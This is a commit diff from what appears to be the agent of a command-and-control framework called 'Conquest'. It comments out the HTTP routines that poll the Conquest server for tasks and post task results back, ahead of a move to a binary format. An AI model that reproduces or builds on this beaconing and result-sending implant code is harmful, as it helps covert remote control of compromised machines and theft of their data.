Started rewriting JSON task to custom binary structure. Parsed and serialized task object into seq[byte]
This commit is contained in:
@@ -34,41 +34,41 @@ proc register*(config: AgentConfig): string =
|
||||
|
||||
proc getTasks*(config: AgentConfig, agent: string): seq[Task] =
|
||||
|
||||
let client = newAsyncHttpClient()
|
||||
var responseBody = ""
|
||||
# let client = newAsyncHttpClient()
|
||||
# var responseBody = ""
|
||||
|
||||
try:
|
||||
# Register agent to the Conquest server
|
||||
responseBody = waitFor client.getContent(fmt"http://{config.ip}:{$config.port}/{config.listener}/{agent}/tasks")
|
||||
return parseJson(responseBody).to(seq[Task])
|
||||
# try:
|
||||
# # Register agent to the Conquest server
|
||||
# responseBody = waitFor client.getContent(fmt"http://{config.ip}:{$config.port}/{config.listener}/{agent}/tasks")
|
||||
# return parseJson(responseBody).to(seq[Task])
|
||||
|
||||
except CatchableError as err:
|
||||
# When the listener is not reachable, don't kill the application, but check in at the next time
|
||||
echo "[-] [getTasks]: ", responseBody
|
||||
finally:
|
||||
client.close()
|
||||
# except CatchableError as err:
|
||||
# # When the listener is not reachable, don't kill the application, but check in at the next time
|
||||
# echo "[-] [getTasks]: ", responseBody
|
||||
# finally:
|
||||
# client.close()
|
||||
|
||||
return @[]
|
||||
|
||||
proc postResults*(config: AgentConfig, agent: string, taskResult: TaskResult): bool =
|
||||
|
||||
let client = newAsyncHttpClient()
|
||||
# let client = newAsyncHttpClient()
|
||||
|
||||
# Define headers
|
||||
client.headers = newHttpHeaders({ "Content-Type": "application/json" })
|
||||
# # Define headers
|
||||
# client.headers = newHttpHeaders({ "Content-Type": "application/json" })
|
||||
|
||||
let taskJson = %taskResult
|
||||
# let taskJson = %taskResult
|
||||
|
||||
echo $taskJson
|
||||
# echo $taskJson
|
||||
|
||||
try:
|
||||
# Register agent to the Conquest server
|
||||
discard waitFor client.postContent(fmt"http://{config.ip}:{$config.port}/{config.listener}/{agent}/{taskResult.task}/results", $taskJson)
|
||||
except CatchableError as err:
|
||||
# When the listener is not reachable, don't kill the application, but check in at the next time
|
||||
echo "[-] [postResults]: ", err.msg
|
||||
return false
|
||||
finally:
|
||||
client.close()
|
||||
# try:
|
||||
# # Register agent to the Conquest server
|
||||
# discard waitFor client.postContent(fmt"http://{config.ip}:{$config.port}/{config.listener}/{agent}/{taskResult.task}/results", $taskJson)
|
||||
# except CatchableError as err:
|
||||
# # When the listener is not reachable, don't kill the application, but check in at the next time
|
||||
# echo "[-] [postResults]: ", err.msg
|
||||
# return false
|
||||
# finally:
|
||||
# client.close()
|
||||
|
||||
return true
|
||||
Reference in New Issue
Block a user